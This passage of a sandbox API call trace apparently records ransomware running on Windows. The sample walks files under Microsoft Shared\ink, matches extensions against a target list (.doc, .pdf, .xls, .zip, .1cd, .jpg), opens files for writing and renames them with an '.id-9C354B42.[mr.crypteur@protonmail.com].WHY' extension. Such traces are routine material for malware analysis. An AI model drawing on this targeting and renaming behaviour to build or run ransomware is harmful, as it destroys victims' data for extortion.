returned 73 [0072.389] lstrlenW (lpString=".doc") returned 4 [0072.389] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.389] lstrlenW (lpString=".docx") returned 5 [0072.389] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0072.389] lstrlenW (lpString=".pdf") returned 4 [0072.389] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.389] lstrlenW (lpString=".xls") returned 4 [0072.389] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.389] lstrlenW (lpString=".xlsx") returned 5 [0072.389] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0072.389] lstrlenW (lpString=".ppt") returned 4 [0072.389] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0072.389] lstrlenW (lpString=".zip") returned 4 [0072.390] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.390] lstrlenW (lpString=".rar") returned 4 [0072.390] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.390] lstrlenW (lpString=".bz2") returned 4 [0072.390] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.390] lstrlenW (lpString=".7z") returned 3 [0072.390] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0072.390] lstrlenW (lpString=".dbf") returned 4 [0072.390] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0072.390] lstrlenW (lpString=".1cd") returned 4 [0072.390] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0072.390] lstrlenW (lpString=".jpg") returned 4 [0072.391] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0072.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0072.391] lstrlenW (lpString=".doc") returned 4 [0072.391] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.391] lstrlenW (lpString=".docx") returned 5 [0072.391] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0072.391] lstrlenW (lpString=".pdf") returned 4 [0072.391] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.391] lstrlenW (lpString=".xls") returned 4 [0072.391] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.391] lstrlenW (lpString=".xlsx") returned 5 [0072.391] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0072.392] lstrlenW (lpString=".ppt") returned 4 [0072.392] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0072.392] lstrlenW (lpString=".zip") returned 4 [0072.392] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.392] lstrlenW (lpString=".rar") returned 4 [0072.392] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.392] lstrlenW (lpString=".bz2") returned 4 [0072.392] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.392] lstrlenW (lpString=".7z") returned 3 [0072.392] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0072.392] lstrlenW (lpString=".dbf") returned 4 [0072.392] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0072.393] lstrlenW (lpString=".1cd") returned 4 [0072.393] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0072.393] lstrlenW (lpString=".jpg") returned 4 [0072.393] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.393] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0072.393] lstrlenW (lpString="join.avi") returned 8 [0072.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0072.394] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=222208) returned 1 [0072.394] CloseHandle (hObject=0x210) returned 1 [0072.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0072.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0072.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0072.395] lstrlenW (lpString=".doc") returned 4 [0072.395] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.395] lstrlenW (lpString=".docx") returned 5 [0072.395] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0072.395] lstrlenW (lpString=".pdf") returned 4 [0072.395] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.396] lstrlenW (lpString=".xls") returned 4 [0072.396] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.396] lstrlenW (lpString=".xlsx") returned 5 [0072.396] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0072.396] lstrlenW (lpString=".ppt") returned 4 [0072.396] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0072.396] lstrlenW (lpString=".zip") returned 4 [0072.396] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.396] lstrlenW (lpString=".rar") returned 4 [0072.396] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.397] lstrlenW (lpString=".bz2") returned 4 [0072.397] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.397] lstrlenW (lpString=".7z") returned 3 [0072.397] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0072.397] lstrlenW (lpString=".dbf") returned 4 [0072.397] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0072.397] lstrlenW (lpString=".1cd") returned 4 [0072.397] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0072.397] lstrlenW (lpString=".jpg") returned 4 [0072.397] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0072.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0072.398] lstrlenW (lpString=".doc") returned 4 [0072.398] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.398] lstrlenW (lpString=".docx") returned 5 [0072.398] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0072.398] lstrlenW (lpString=".pdf") returned 4 [0072.398] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.398] lstrlenW (lpString=".xls") returned 4 [0072.398] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.398] lstrlenW (lpString=".xlsx") returned 5 [0072.398] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0072.399] lstrlenW (lpString=".ppt") returned 4 [0072.399] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0072.399] lstrlenW (lpString=".zip") returned 4 [0072.399] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.399] lstrlenW (lpString=".rar") returned 4 [0072.399] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.399] lstrlenW (lpString=".bz2") returned 4 [0072.399] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.399] lstrlenW (lpString=".7z") returned 3 [0072.399] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0072.399] lstrlenW (lpString=".dbf") returned 4 [0072.400] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0072.400] lstrlenW (lpString=".1cd") returned 4 [0072.400] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0072.400] lstrlenW (lpString=".jpg") returned 4 [0072.400] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.400] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0072.401] lstrlenW (lpString="split.avi") returned 9 [0072.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0072.401] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=194048) returned 1 [0072.401] CloseHandle (hObject=0x210) returned 1 [0072.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0072.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0072.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0072.402] lstrlenW (lpString=".doc") returned 4 [0072.402] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.403] lstrlenW (lpString=".docx") returned 5 [0072.403] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0072.403] lstrlenW (lpString=".pdf") returned 4 [0072.403] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.403] lstrlenW (lpString=".xls") returned 4 [0072.403] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.403] lstrlenW (lpString=".xlsx") returned 5 [0072.403] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0072.403] lstrlenW (lpString=".ppt") returned 4 [0072.403] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0072.403] lstrlenW (lpString=".zip") returned 4 [0072.403] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.404] lstrlenW (lpString=".rar") returned 4 [0072.404] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.404] lstrlenW (lpString=".bz2") returned 4 [0072.404] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.404] lstrlenW (lpString=".7z") returned 3 [0072.404] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0072.404] lstrlenW (lpString=".dbf") returned 4 [0072.404] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0072.404] lstrlenW (lpString=".1cd") returned 4 [0072.404] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0072.404] lstrlenW (lpString=".jpg") returned 4 [0072.405] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0072.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0072.405] lstrlenW (lpString=".doc") returned 4 [0072.405] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.405] lstrlenW (lpString=".docx") returned 5 [0072.405] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0072.405] lstrlenW (lpString=".pdf") returned 4 [0072.405] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.405] lstrlenW (lpString=".xls") returned 4 [0072.405] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.405] lstrlenW (lpString=".xlsx") returned 5 [0072.405] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0072.406] lstrlenW (lpString=".ppt") returned 4 [0072.406] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0072.406] lstrlenW (lpString=".zip") returned 4 [0072.406] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.406] lstrlenW (lpString=".rar") returned 4 [0072.406] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.406] lstrlenW (lpString=".bz2") returned 4 [0072.406] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.406] lstrlenW (lpString=".7z") returned 3 [0072.406] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0072.406] lstrlenW (lpString=".dbf") returned 4 [0072.406] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0072.407] lstrlenW (lpString=".1cd") returned 4 [0072.407] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0072.407] lstrlenW (lpString=".jpg") returned 4 [0072.407] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.407] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0072.407] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0072.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0072.768] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1600388) returned 1 [0072.768] CloseHandle (hObject=0x1a4) returned 1 [0072.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0072.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0072.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0072.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0072.769] lstrlenW (lpString=".doc") returned 4 [0072.769] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.769] lstrlenW (lpString=".docx") returned 5 [0072.769] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0072.769] lstrlenW (lpString=".pdf") returned 4 [0072.769] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.769] lstrlenW (lpString=".xls") returned 4 [0072.769] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.769] lstrlenW (lpString=".xlsx") returned 5 [0072.769] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0072.769] lstrlenW (lpString=".ppt") returned 4 [0072.770] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0072.770] lstrlenW (lpString=".zip") returned 4 [0072.770] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.770] lstrlenW (lpString=".rar") returned 4 [0072.770] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.770] lstrlenW (lpString=".bz2") returned 4 [0072.770] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.770] lstrlenW (lpString=".7z") returned 3 [0072.770] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0072.770] lstrlenW (lpString=".dbf") returned 4 [0072.770] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0072.771] lstrlenW (lpString=".1cd") returned 4 [0072.771] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0072.771] lstrlenW (lpString=".jpg") returned 4 [0072.771] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0072.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0072.771] lstrlenW (lpString=".doc") returned 4 [0072.771] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.771] lstrlenW (lpString=".docx") returned 5 [0072.771] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0072.771] lstrlenW (lpString=".pdf") returned 4 [0072.772] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.772] lstrlenW (lpString=".xls") returned 4 [0072.772] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.772] lstrlenW (lpString=".xlsx") returned 5 [0072.772] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0072.772] lstrlenW (lpString=".ppt") returned 4 [0072.772] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0072.772] lstrlenW (lpString=".zip") returned 4 [0072.772] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.772] lstrlenW (lpString=".rar") returned 4 [0072.772] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.772] lstrlenW (lpString=".bz2") returned 4 [0072.772] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.773] lstrlenW (lpString=".7z") returned 3 [0072.773] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0072.773] lstrlenW (lpString=".dbf") returned 4 [0072.773] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0072.773] lstrlenW (lpString=".1cd") returned 4 [0072.773] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0072.773] lstrlenW (lpString=".jpg") returned 4 [0072.773] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.774] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0072.774] lstrlenW (lpString="kor-kor.xml") returned 11 [0072.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0073.309] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=392) returned 1 [0073.309] CloseHandle (hObject=0x1a4) returned 1 [0073.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0073.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0073.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0073.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0073.310] lstrlenW (lpString=".doc") returned 4 [0073.310] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.310] lstrlenW (lpString=".docx") returned 5 [0073.310] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0073.310] lstrlenW (lpString=".pdf") returned 4 [0073.310] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.310] lstrlenW (lpString=".xls") returned 4 [0073.310] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.310] lstrlenW (lpString=".xlsx") returned 5 [0073.310] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0073.311] lstrlenW (lpString=".ppt") returned 4 [0073.311] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0073.311] lstrlenW (lpString=".zip") returned 4 [0073.311] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.311] lstrlenW (lpString=".rar") returned 4 [0073.311] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.311] lstrlenW (lpString=".bz2") returned 4 [0073.311] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.311] lstrlenW (lpString=".7z") returned 3 [0073.311] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0073.311] lstrlenW (lpString=".dbf") returned 4 [0073.312] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0073.312] lstrlenW (lpString=".1cd") returned 4 [0073.312] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0073.312] lstrlenW (lpString=".jpg") returned 4 [0073.312] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0073.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0073.312] lstrlenW (lpString=".doc") returned 4 [0073.313] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.313] lstrlenW (lpString=".docx") returned 5 [0073.313] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0073.313] lstrlenW (lpString=".pdf") returned 4 [0073.313] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.313] lstrlenW (lpString=".xls") returned 4 [0073.313] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.313] lstrlenW (lpString=".xlsx") returned 5 [0073.313] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0073.313] lstrlenW (lpString=".ppt") returned 